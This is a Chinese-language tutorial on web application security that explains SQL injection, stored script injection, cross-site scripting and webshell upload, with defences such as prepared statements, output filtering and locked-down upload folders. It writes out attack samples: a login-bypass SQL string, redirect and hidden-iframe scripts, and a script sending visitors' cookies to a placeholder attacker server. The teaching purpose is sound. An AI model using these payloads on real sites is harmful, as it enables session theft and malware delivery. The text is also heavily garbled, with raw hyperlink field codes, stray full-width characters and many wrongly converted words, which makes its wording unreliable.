BS程序代碼與平安與基本攻擊/防御模式BeaｒOcｅan200８－0６—０2?ＨYＰERＬIＮＫ"file：///C:\＼Documｅnｔｓ％20and％２0Ｓettｉngs＼＼ｂｅarｏcｅａｎ\＼桌面＼\代碼與安全.ｈｔm”＼ｌ＂＿Toc２０01６９97５”１．

引言ＨＹPERLIＮＫ＂file：//／Ｃ：\＼Documｅnts％２0aｎd%20Sｅｔtingｓ\\ｂeaｒｏｃean\\桌面\\代碼與安全。ｈｔm"＼l”_Toc２0016９９7６”１。1.

文檔說明：HYPEＲＬＩNK"fｉle：//／Ｃ：\\Documents%20anｄ%20Settｉngｓ\\ｂｅarｏｃeaｎ\\桌面＼\代碼與安全.ｈtｍ”\l＂_Ｔoｃ20０1６99７8"２．

正文ＨＹＰEＲＬIＮＫ＂ｆiｌe：/／/C:\\Docuｍenｔs%２０ａｎd%２0Settings\\beａｒoceａn\\桌面\＼代碼與安全。ｈｔｍ"＼ｌ”＿Tｏｃ２0０１69979”2。１。

ＳQＬ注入HＹＰEＲLINＫ"file:／//C:＼\Ｄocumenｔｓ％20and%20Settings\\ｂearoceａｎ\\桌面\\代碼與安全.htm＂\ｌ”＿Toc２00１６9９8０”2.1.1。

攻擊模式：HYＰERLＩNK”ｆile：/／／Ｃ：\＼Docuｍenｔｓ％2０and％２0Ｓeｔtings\\bｅａrｏｃean\\桌面\＼代碼與安全。ｈtm"\l＂＿Toｃ20016９98１＂2。1．２。

防御方法:HYPERLINＫ"file：/／/C：＼\Docｕments％２0aｎd％2０Settingｓ＼\ｂearｏceａn\\桌面\\代碼與安全.ｈtm"\ｌ”_Ｔｏc２00１69９8２”２。２.

腳本注入ＨYPERLINＫ"fｉｌｅ:／／/C：\＼Ｄoｃｕmeｎts％20aｎd％2０Sｅｔtｉnｇs\＼beａrｏcｅan\\桌面\＼代碼與安全.hｔｍ”＼ｌ"＿Tｏc２0０169９８３"2。２。1。

攻擊模式HYＰEＲLINK”filｅ：///C：\＼Docuｍｅnts%20anｄ％20Ｓetｔｉnｇs\\bｅaroceａn\\桌面\\代碼與安全.htm"\l”_Tｏc2001６99８4"２。２。２.

防御方式ＨYＰERLINK＂ｆiｌe：／/／C：\\Dｏcｕｍeｎts%20aｎd%２０Sｅttiｎgs＼\beａroceaｎ\\桌面\\代碼與安全。ｈｔm"2．3．

跨站攻擊ＨYＰＥRLINＫ"ｆiｌｅ：/／／Ｃ：＼\Doｃumeｎts％2０and％20Ｓettings\\bｅaroceaｎ\\桌面\\代碼與安全.htm＂\l＂_Ｔoc２０01６9986”2.３．１。

攻擊模式ＨYPＥRLINK"file：///Ｃ：＼＼Dｏcumｅnｔs％２０ａnｄ％２0Settiｎｇs\＼ｂeaｒoｃｅaｎ＼\桌面\＼代碼與安全.hｔm"\l＂_Ｔoc2０0１6９98７"２．３．2．

防御方式HYPＥRＬＩNK”ｆile：／／/C:\＼Docuｍents％20anｄ%２0Ｓｅttinｇs\＼ｂearoｃｅan\＼桌面\＼代碼與安全.ｈｔｍ＂＼l＂_Toｃ２0０16９9８８＂2。４．

shｅll上傳HYＰＥRLINＫ＂ｆｉlｅ：///C：＼＼Dｏcuｍents%2０ａnd%20Ｓettings\\beａｒｏcｅan\\桌面\＼代碼與安全．htｍ"\l＂_Toｃ２001６9989＂2．４.１。

攻擊模式HＹＰＥＲLINK"ｆｉle://／C：\\Doｃumｅnts%２0ａnd％２0Ｓｅｔtings＼\ｂeaｒｏceａｎ＼\桌面\\代碼與安全.hｔm"2。４。2.

防御方式HＹPERLＩNK＂filｅ:/／／C：\\Ｄｏcumeｎｔs%20and%2０Settｉnｇs\＼bｅａrｏceａn\\桌面\＼代碼與安全．htm”\l”＿Ｔoc2０0１6９９91"2．5。

爆破ＨYPERLIＮK＂ｆｉle：///Ｃ：\\Docｕｍｅnts％20anｄ％2０Setｔｉngs＼\ｂeaｒocean\\桌面\\代碼與安全.htm”\ｌ"_Toc2０0１699９2”２.5。1．

攻擊模式ＨYPERLＩNK＂file：／//C：\\Ｄoｃumeｎtｓ％2０and％２0Seｔｔingｓ\＼bｅarｏｃｅaｎ＼＼桌面\\代碼與安全．htm”２。5。2.

防御方式ＨＹPＥRLINK”filｅ：///Ｃ：\\Dｏcuｍeｎｔs％20and％2０Seｔtiｎgs\＼ｂeａｒｏｃeaｎ\＼桌面\\代碼與安全．ｈtm"＼l”_Toc2０0１699９4＂3．

結(jié)語

?

1．

引言1.1。

文檔說明：該文檔主要闡述在ＢS程序中，平安性方面的注意事項。常見的主要攻擊模式，以及為了防御這些不同的攻擊手段,作為技術(shù)人員建議注意的編碼事項。該文檔包含的內(nèi)容主要是個人對于Iｎterneｔ平安性問題的理解.以及對這些問題進行規(guī)避的方法整理,難免有誤,也歡迎大家進行指正和補充.另注：該文檔消滅的編碼均為偽代碼.1.2。

文檔組織方式：該文檔主要依據(jù)攻擊模式進行分類整理，每個攻擊模式的小專題分2部分內(nèi)容:（1)攻擊模式詳述（2）防御方式與建議對于攻擊模式詳述部分，盡可能多的舉出案例來進行說明,已便利理解。而防御方式，實際上通常只有在對攻擊模式理解的前提下，才可能真正確保防御的有效。２.

正文２.１.

SQL注入２。1。1。

攻擊模式：SQL注入的成因主要是由于向DB供應(yīng)的ＳＱL是用字符串拼裝的方式生成的.最常?；疾QＬ注入的頁面通常是管理員/用戶登陸點。不論是ａｓp或是ｊsp，如果不正確的編碼，都會消滅這個漏洞。下面以一個實例來闡述SQＬ注入的成因。假設(shè)我們有一個JSP頁面logｉn.jsｐ,用于搜集管理員輸入的用戶名和密碼。用戶點擊按鈕，將會把收集到的用戶名與密碼提交到指定的掌握組件（Ｓtruts：Ａcｔｉoｎ，或者Ｓeｒvlｅｔ）。在該組件中調(diào)用cｈekLogin(ＳtrｉnｇusｅｒNaｍe，ＳtｒingｐａｓsＷord)進行登陸驗證，以從頁面收集到的用戶名和密碼信息拼裝出SQＬ字符串,供DＡO下層使用，以從數(shù)據(jù)庫中的管理員記錄表中讀取數(shù)據(jù)，如果從表中找到匹配的記錄,則表示驗證成功，我們將返回相應(yīng)得管理員實體類.否則返回Ｎull表示登陸驗證失敗。這是一個格外簡潔的規(guī)律模塊，如下圖所示：??這個規(guī)律產(chǎn)生注入漏洞的關(guān)鍵在于checkＡdminLogｉn方法.由于在該方法中，我們以這種方式進行編碼：?ｐublicAdｍｉnchｅckAｄminＬogiｎ（SｔｒｉnｇｕｓerName,Strinｇpassｗoｒd）｛／／拼裝SQＬ字符串?StringstｒＳQL＝”ＳELＥＣＴ＊ＦＲＯMTD_AＤMINASAWHＥREA.UＳERＮAME=’”+usｅrNamｅ+”'ANDA。ＰASSWＯRD=’"＋passworｄ+”’”;//后續(xù)通過DＡO提交該SQL到數(shù)據(jù)庫獲得查詢結(jié)果,省略這個生成SQL的方式,記得剛接觸數(shù)據(jù)庫編程的時候，有很多書籍的范例代碼也是這樣書寫的，咋一看沒有什么問題，但是由于沒有對可能的輸入作一個全面的考慮,所以便產(chǎn)生了注入漏洞。如果有人試圖在這里進行惡意攻擊，那么他可以在登陸名輸入框中輸入123（其實其他的任意值也可）而在密碼輸入框中輸入‘OＲ‘１’＝’１那么由于我們的SＱL是靠拼出來的，所以最終提交給數(shù)據(jù)庫的將是:?SEＬEＣＴ＊ＦＲOMTD_ＡDMINASＡWＨEＲEA.UＳＥRNＡＭE=’123’AＮDA．PASSWＯRＤ=’’OR‘1’＝'１'很顯然,這句SQＬ由于后面被加上了永真條件,登陸是肯定成功的。那么不論登陸者是否是管理員，輸入‘OR‘1’=’１,他都將能夠登陸系統(tǒng)。更有甚者,我可以在輸入框中輸入數(shù)據(jù)庫的SQL注釋符，然后填寫我想讓數(shù)據(jù)庫執(zhí)行的操作例如DROPSOＭETABＬE一類的。所以注入漏洞的危害實際是格外大的。ＳＱＬ注入漏洞的根本緣由是，由于我們編碼時的不當(dāng)心,導(dǎo)致用戶可以通過輸入來轉(zhuǎn)變要執(zhí)行的規(guī)律,甚至輸入新的規(guī)律。但是,越是嚴(yán)重和顯而易見的代碼平安問題,實際要修補卻也是越容易的。2.1.2。

防御方法：Ａ:加上驗證（或者字符過濾）在網(wǎng)上搜尋關(guān)于對SＱＬ注入的防護問題，有很多答案供應(yīng)的是對輸入字符串進行驗證/或者是過濾,甚至有人供應(yīng)了字符串過濾代碼。這種方案指出：

SQL注入的成因是攻擊者在輸入框中輸入了有特殊意義的字符,如單引號，或者是數(shù)據(jù)庫特定的注釋符號，或者是執(zhí)行分隔符的分號。那么我們在掌握層進行驗證,禁止用戶輸入這些符號，或者將這些符號進行轉(zhuǎn)義是否可以杜絕SQＬ注入？表面上看似乎是可以的，由于在掌握層中,用戶如果試圖輸入‘OR‘１'=’１將得到類似"不允許輸入單引號”的提示從而系統(tǒng)拒絕了本次執(zhí)行.但是,這樣的防御方案有格外大的缺陷:第一：輸入驗證應(yīng)該與簡略的規(guī)律掛鉤,而不應(yīng)該與平安防護中的防注入產(chǎn)生過密的依靠。用戶名和密碼的輸入驗證和新聞內(nèi)容的輸入驗證是不同的。例如,對于新聞的按內(nèi)容搜尋又應(yīng)該允許輸入單引號，由于新聞內(nèi)容本身是允許包含單引號的.所以輸入驗證不能從根本上解決問題。一個疏忽帶來的結(jié)果將是滿盤皆輸。其次:提出這種解決方案實際上是沒有真正的理解SＱL注入，ＳQＬ注入的問題并不是出在不合法字符的問題上。這只是表象，ＳQL注入的真正緣由是系統(tǒng)沒有方法嚴(yán)格地掌握程序規(guī)律與輸入?yún)?shù)之間的分離,系統(tǒng)存在漏洞讓系統(tǒng)是用者有地方可以把自己的輸入(本應(yīng)該是參數(shù)）變成了程序規(guī)律的一部分。B：掌握與參數(shù)分離試想我們給用戶供應(yīng)一個接口，這個接口帶一個參數(shù)，用戶填寫這個的這個參數(shù)將決定下面的代碼執(zhí)行序列。那么用戶可以通過這個接口來命令系統(tǒng)做任何事情。其實SＱＬ注入就是這個緣由。產(chǎn)生這個問題的最根本的緣由是，系統(tǒng)應(yīng)該有能力明確的劃分什么是規(guī)律,什么是參數(shù).所以解決ＳQL注入的最根本方法是使用Ｔempｌatｅ模式。如下圖所示：?那么用戶的輸入會作為BusinessOｂｊｅｃt的參數(shù)存在。但是不管用戶輸入什么。都無法脫離程序員設(shè)置的Teｍplｅｔe(規(guī)律模板）。最后Teｍpｌetｅ＋Parameteｒｓ將決定程序簡略的執(zhí)行.Jaｖａ中對該模式的實現(xiàn)有ＰrepａreｄSｔatmeｎｔ或者NamｉngＱｕeｒy一類的技術(shù)。簡略內(nèi)容可以參見相關(guān)文檔。由于他們實現(xiàn)了參數(shù)與規(guī)律的分離，所以將從根本上杜絕ＳQＬ注入.使用PreparｅdSｔaｔemeｎt還有其他好處，除了平安方面的考慮,由于數(shù)據(jù)庫的編譯特性，在性能上也有所提高。2。2.

腳本注入２。2.1。

攻擊模式這里所說的腳本,通常所指的是JａvaScｒｉpｔ腳本，雖然JavａＳｃrｉｐt運行于客戶端,并且有平安沙箱的保護,但是放任惡意JａvａＳcriｐt腳本是十分危險的.腳本注入也是一種技術(shù)含量低的攻擊方式。需要攻擊者生疏ＪavａSｃｒｉｐｔ腳本和Dom模型，如果會運用Aｊａx技術(shù)，更是如虎添翼。如果你了解這兩項技術(shù),便可以在網(wǎng)上搜尋你的目標(biāo)。一個網(wǎng)站，如果對輸入未做合理的驗證或過濾,在顯示輸出的時候又未做合適的格式化，那么便存在這種漏洞。下面舉一個實例:我們有一個新聞?wù)军c。每個新聞允許掃瞄者進行評論,掃瞄者提交的評論將被存儲在數(shù)據(jù)據(jù)庫專門的表中，并且將被顯示在新聞的下邊。這個規(guī)律很正常，沒有什么問題。但是很惋惜的是開發(fā)者除了字符長度沒有在后端做任何輸入合法驗證。那么這個站點的評論輸入，必定給壞蛋們有機可乘。假設(shè)我們在評論中輸入如下內(nèi)容：<ｓcriｐtlanguａge＝”jａｖａsｃript”〉aｌerｔ(“哈哈，傻了吧，這個地方存在腳本注入漏洞?！保?lt;/ｓcｒipｔ>那么,這句話將被存儲在數(shù)據(jù)庫評論表中。以后,每一個掃瞄者打開這個新聞頁面是,都將會彈出這樣一個消息框。攻擊者很慈愛，沒有做過多的破壞。但是如果輸入：<scｒipｔlaｎgｕage=”javascrｉpｔ”＞winｄow．ｌocａｔｉoｎ．hrｅf＝"www。bａidｕ.cｏm”；＜/sｃｒｉpt>那么打開這個新聞頁面，該頁面將被從定向到bａidu的頁面上。如果目標(biāo)頁面不是bａidu．而是一個有惡意代碼的頁面。那么每個掃瞄者的機器都可能中毒。注入上述腳本的攻擊者不夠聰慧或者只是想好心的提示。由于他們注入的東西太容易被人發(fā)覺.我們有別的方式把活干的隱蔽，畢竟開發(fā)者和維護人員都不行能對評論一條一條得進行檢查。我們注入:好文!頂<ｉｆraｍｅsrc=”帶病毒的頁面"width＝"0"ｈｅight=”0”〉＜／iｆｒamｅ〉那么在新聞頁面上,將看不到任何異狀.但是掃瞄器其實可能正在靜靜得下載病毒。WＥB2.0的流行使頁面效果更加絢麗，同時也使腳本注入的攻擊力提高不少。曾經(jīng)了解這樣一種攻擊模式：??攻擊者在幕后籌備了服務(wù)器去接受Ajａx提交的懇求。攻擊者通常有自己的服務(wù)器（通常是肉雞）,在上面部署了合適的代碼。在目標(biāo)站點，存在注入點的頁面注入如下代碼：我也來頂?。約ｃrｉptｌａｎguagｅ＝”javascｒipt”>?vaｒｓtrＴaｒｇetMｅssaｇe=window。cocｋie；ＡjaｘSend（“黑客掌握的服務(wù)器監(jiān)聽點”，ｓtｒTargeｔMｅssaｇe）；?〈／javascript>很簡潔的代碼，而且極難被發(fā)覺。但是這樣，每個登錄者在訪問這個頁面的時候，其cockiｅ信息都將被發(fā)送給攻擊者。掌握了cｏckie中存放的ＪＳESSIONID,那么攻擊者便可以冒充該登錄者來做想做的事情，比如說轉(zhuǎn)帳(但一般銀行有SSL授權(quán)的密鑰）。不管怎么樣,很危險了。2．２．2。

防御方式供應(yīng)合理的過濾或者轉(zhuǎn)換程序，在輸入存放于數(shù)據(jù)庫前，或者是顯示在頁面前對數(shù)據(jù)進行處理.盡一切可能，避開用戶的輸入有執(zhí)行的可能.簡略代碼，因不同的后端語言不同,但是項目供應(yīng)有效，統(tǒng)一的過濾處理方式是合理的.該攻擊方法成立的緣由是,掃瞄器在對頁面進行解析時，不行能區(qū)分哪一段是客戶輸入，哪一段是預(yù)編制的模板或Htｍｌ或腳本。有人曾經(jīng)提出，確保評論內(nèi)容消滅在〈pre>＜/pre>中可以避開這個問題。如:?＜pre〉＜%=評論內(nèi)容％＞〈/ｐｒe〉那么評論內(nèi)容將得到原樣顯示,并不會執(zhí)行其中的腳本。但是這樣的解決方案是不正確的。由于我只需要對注入稍加改動:＜/pｒe>?<scrｉｐtlaｎｇuage=”javａscriｐｔ">

ｖａrｓｔrＴaｒgetＭessage=window．coｃｋiｅ；AjaｘSeｎd(“黑客掌握的服務(wù)器監(jiān)聽點"，strTarｇetMｅsｓagｅ);?〈/ｊａvａscript＞〈ｐｒe>那么實際上注入腳本將〈prｅ>塊閉合了，腳本仍然會得到執(zhí)行。2.３.

跨站攻擊2.３．1.

攻擊模式跨站攻擊和腳本注入格外相像。有很多資料并沒有區(qū)分這兩種攻擊。實際上，我認(rèn)為跨站和腳本注入最大的區(qū)分在于用戶提交的非法腳本是否需要持久化到服務(wù)器。通常,用于腳本注的惡意腳本提交后，將存儲在服務(wù)器數(shù)據(jù)庫中.這導(dǎo)致每個訪問問題頁面的掃瞄者都將遭到惡意腳本的攻擊.而跨站攻擊多數(shù)情況是將惡意腳本構(gòu)造于url參數(shù)中。通過哄騙的方式去誘使受害者點擊鏈接。而使得惡意腳本執(zhí)行。雖然,不像腳本注入,跨站攻擊必必要誘使受害者點擊鏈接才能得以執(zhí)行。但是一旦成立，其危害將和腳本注入的危害一樣大。并且，跨站攻擊的最大問題在于漏洞難于查找,格外容易被忽視。由于人們通常記得在用戶輸入評論的地方加上過濾來避開注入,但是防護跨站漏洞，卻要保證在每個處理url參數(shù)的頁面中都要對傳入的參數(shù)進行合法性驗證。由于程序員的疏忽或者懶散，往往無法做到“每個”，所以即使是知名的大型網(wǎng)站也頻頻消滅跨站漏洞。下面給出一個實例來說明跨站漏洞。一年前，我的伴侶曾經(jīng)給了我一個工行網(wǎng)絡(luò)銀行的地址（HYPＥＲLIＮＫ”http://ｗwｗ．ｉcbｃ.coｍ．cn／nｅｗs/hｏtｓpot。jｓp？cｏlumn=％CＤ％A8%ＢＣ％A9%３A＋%D0％DC%BＡ％A3％CD％AC%D１％A7％Ｄ3％DA２０07。5．１％C8％Ｄ5%D５％Ａ９％C6％ＡD％Ｂ９%A4％Ｃ9％ＣＣ%D2%F8%D0％D０500%CD%F2％CF%Ｄ6％BＤ％F0％Ａ3%AC％CF％D6%D4%DＡ%C7%B1％CC%D3%D6％D0％A3％ＡC％D3％D0％D７%Ａ５％BB%F１%Ｄ5％DF%ＢD%Ｂ1％C0%Ｆ8％C8％CB％C3％F１%B1%D２５0%CＤ％F2％D5%FB”htｔp://ｗww．icｂc．ｃoｍ.cn/nｅwｓ/hoｔspｏt.jsp？ｃoｌumｎ=％CＤ％A8%BＣ%A９%３A+％D0%DC％BＡ％A３%CD％ＡＣ%D1%A7％D３%DＡ２00７。5.1%C8％D5％D５％A９％C6％AD％B9％Ａ4％C9％CC%Ｄ2%Ｆ8%Ｄ0％D05００%CD%Ｆ2％ＣF%D6%BD％Ｆ０％A3%AＣ%CF%Ｄ6%D４％DＡ％C７％B1%CC％Ｄ3%D6%Ｄ0%A3%ＡC％D3％D0％D7％A5％ＢＢ%F1％D5%DF%BＤ％B１%C0%F８%Ｃ8%CB%C3％F１％Ｂ1％D２50%CＤ％F2％Ｄ5％ＦB（上面這些類似亂碼的編碼實際上是“通緝:BｅａrOｃeaｎ同學(xué)于20０７．５。1日詐騙工商銀行500萬現(xiàn)金，現(xiàn)在潛逃中，有抓獲者嘉獎人民幣50萬整”字符串的ｕｒｌEｎcoding成果物，后來工行把這個漏洞堵上了。）當(dāng)我點開頁面進行掃瞄的時候,發(fā)現(xiàn)上面顯示的是一則公告：

“通緝：BｅａｒＯｃeａn同學(xué)于20０７.５。1日詐騙工商銀行５００萬現(xiàn)金，現(xiàn)在潛逃中，有抓獲者嘉獎人民幣50萬整"很顯然這是一個玩笑(我的同學(xué)沒有攻擊意圖,只是利用這個開了個玩笑）,但是讓我驚訝的是即使是工行也能消滅這樣的問題.我們現(xiàn)在來分析消滅這個問題的緣由，以及它可能帶來的危害。工行的ｈｏtspｏt.jsp可以理解成一個專用于顯示一些簡短信息的頁面。他接受uｒｌ中的一個參數(shù)column并把它顯示出來。這樣的頁面很常見也很有用，例如我們在注冊成功,評論新聞成功的時候，都盼望有一個風(fēng)格統(tǒng)一的頁面來顯示操作結(jié)果。如果為每一個有這種需求的地方單獨開發(fā)不同的頁面,一來工作量大,二來重用性差,所以我們用一個頁面來完成這種事情.這個頁面顯示的是什么取決于輸入的參數(shù)。請看下圖:??hotspｏt是傻子，無法智能到判定輸入的cｏlｕｍn來自于友方模塊還是來自于我的同學(xué)?？傊?，來者不拒。直接將ｃｏｌumn不加區(qū)分的顯示在hoｔsｐot上。令人奇怪???的是，該漏洞只是讓大家開開玩笑,輸出一些好玩的東西,那么其實這個漏洞會不會也無傷大雅，沒有什么危害性。我強調(diào)過，我的同學(xué)不是惡意的攻擊者，敏感的人能夠推測：如果輸入的不是用于開玩笑的字符串，而是惡意的腳本，那將如何?跨站攻擊的危害和腳本注入是一樣的。惡意腳本得以執(zhí)行，一樣可用于盜取cooｃｋie.或以高級別權(quán)限用戶執(zhí)行危害更嚴(yán)重的木立刻傳操作,或者幫助掃瞄者在自己的機器上種上病毒。與SQＬ注入不同,腳本注入和跨站都沒有直接攻擊服務(wù)端，實際上是攻擊了客戶端.但是,上述2種漏洞通常會成為有閱歷的黑客攻擊服務(wù)器的最喜愛跳板。2.3．2．

防御方式問題的緣由已經(jīng)分析清楚,存在跨站漏洞的頁面或模塊通常未對傳入的url參數(shù)進行處理，或者確定傳入來源是牢靠的。最主要的防御方式與腳本注入的防御方式相同。在類似于的ｈｏｔspｏt頁面中,程序員對輸入的ｃoluｍ進行過濾，并免任何腳本執(zhí)行的機會就可以保護站點免受跨站漏洞的攻擊.2。4.

sｈeｌl上傳２.４．１．

攻擊模式sｈｅｌｌ上傳是攻擊BS程序最可怕的一招。中招的站點，完全被破壞是一點也不意外的.由于shell,通常都有能力幫助攻擊者拿到系統(tǒng)管理員的權(quán)限。繞開站點的權(quán)限限制，直接攻擊操作系統(tǒng)和DBＡ,作為攻防戰(zhàn)的防守方，搞成這種局面,只能用完全失敗來形容了。要理解通過ｓhell上傳來攻擊服務(wù)器的方式，需要理解ｓｈｅll是什么。Ｓｈell通常是一種用特定語言編寫的程序，攻擊服務(wù)器的時候,由于通常要實現(xiàn)遠程編譯比較簡潔，所以這種木馬類型的文件一般都用解釋型語言編寫（或者有解釋語言特點).簡略語言的選擇，依靠于目標(biāo)站點的開發(fā)語言.攻擊ＡSP站點的shｅll用ASP編寫,攻擊PHＰ站點的sｈeｌl用PHＰ編寫,攻擊J2EE的站點Sｈｅｌl可用Jsｐ來編寫。Shell通常都是基于命令的，它通常能接受攻擊者的參數(shù).然后以功能劃分模塊進行運行.常見的命令如:列表文件，刪除文件,創(chuàng)建文件,修改文件,新建系統(tǒng)帳號,訪問操作系統(tǒng)功能。通過使用這些功能。攻擊者將能夠掌握sｈell宿主服務(wù)器,所以站點乃至整個系統(tǒng)被sｈｅlｌ黑破是很好理解的.設(shè)想一個攻擊者通過shｅlｌ新建一個操作系統(tǒng)管理員，其實就可以拋棄sｈell了。(需要說明的是，wｅbｓheｌl通常功能較弱，但是weｂｓhelｌ可以支持更強木馬的上傳和執(zhí)行。）通過遠程掌握客戶端,便可對服務(wù)器為所欲為.請看下圖：??攻擊者通過shell木馬，去取得其他關(guān)鍵權(quán)限,轉(zhuǎn)而對整個系統(tǒng)實施攻擊。很奇怪，明明我的服務(wù)器內(nèi)只部署了我自己開發(fā)的頁面文件和程序模塊。攻擊者是怎樣把木馬傳上來的呢.一般來說有如下方式:（１）

FTP：服務(wù)器開啟了FTＰ服務(wù)，并且使用允許匿名或者弱帳號機制，F(xiàn)ＴP直接指向Web虛擬路徑，很多人通過這種方式來管理/維護站點。固然便利，但是攻擊者通過端口掃描可以很容易的找到服務(wù)器的ＦTP服務(wù)，攻擊FTP進而上傳ｓｈell木馬。但是這種攻擊方式以及其他利用服務(wù)／操作系統(tǒng)/weｂ容器漏洞的服務(wù)均與開發(fā)的直接關(guān)系不大，主要責(zé)任系維護方面，所以在這里不簡略敘述.（２）

上傳組件：很多站點，由于功能要求,供應(yīng)文件上傳功能.這個功能，攻擊者通常都會格外注意。如果上傳組建的編寫有問題。那么攻擊者就能很便利的上傳shell.由于和開發(fā)關(guān)系較大,所以主要敘述的是這種上傳方式。方式（2）中所涉及的上傳組建通常是一些上傳功能需求引入的.例如用戶可以自定義自已的圖片或者是上傳商品圖片，或者是允許上傳一些其他文件供掃瞄者下載。這些上傳功能也頻繁消滅在后臺管理中。2.4．２。

防御方式關(guān)于sheｌl的防御通常有如下一些事項需要注意：（１）

Ｗeｂ容器正確的平安設(shè)置：如果系統(tǒng)有上傳的功能,那么上傳的文件一般都存放在固定的一個或者幾個文件夾中.最需要確保的是,不管上傳了什么,我們都需要保證服務(wù)器認(rèn)為這些文件是數(shù)據(jù)，而不會誤以為是程序模塊而使木馬得到執(zhí)行的機會。通常wｅb服務(wù)器都有相關(guān)的平安設(shè)置。禁用這幾個文件夾中的文件解釋/執(zhí)行權(quán)限是必要的，這樣即使木立刻傳成功也無法解析.在系統(tǒng)上線前需要對wｅｂ配置進行正確的配置這是一點。總的來說,不管是利用ＯS漏洞或者是ＦTP或者是配置.Ｌｉnux的平安性相對于Ｗinｄｏws較高.目前最多的shｅll馬一般是基于AＳＰ的。(2)

自己編寫上傳組件需要嚴(yán)格的驗證:很多時候我們會使用自己開發(fā)的上傳功能和組件.編寫的時候需要對上傳的文件進行驗證而不能夠不加驗證便進行保存。通常驗證的項目包括文件大小和文件后綴(文件類型),如僅允許jｐeｇ，jpg，gｉf圖片格式文件上傳.這是作為開發(fā)方需要注意的事項,但是不結(jié)合第一點來防護仍然不平安。目前有很多jｐg，gifｓhelｌ木馬,后綴名使用圖片格式能夠跳過驗證,但是攻擊者可以利用其他的漏洞使木馬得以執(zhí)行。另外,通常后臺功能有修改允許上傳文件類型的功能。如果攻擊者通過其他手段(如注入或者社會工程學(xué)）成功得到了后臺登陸權(quán)限,那么他仍然能夠上傳木馬。所以(2）＋(1)才能使得防護真正的起到作用。另外一點需要注意的是,對文件的驗證肯定要在服務(wù)器端進行。前端的ｊａｖａscript驗證在平安性上將不起作用。（3)

利用已開發(fā)的第三方組件:有很多人開發(fā)出了好用的第三方控件，如一些富文本編輯控件直接允許文件／圖片的上傳(如FCKEｄiｔor）這些控件有很多在功能上做的很好，但往往由于開發(fā)者平安方面考慮的不多，會存在漏洞,在使用第三方組件的時候可以對組件是否存在漏洞進行調(diào)查。必要的時候可進行代碼修改以進行平安加強。比較出名的是,曾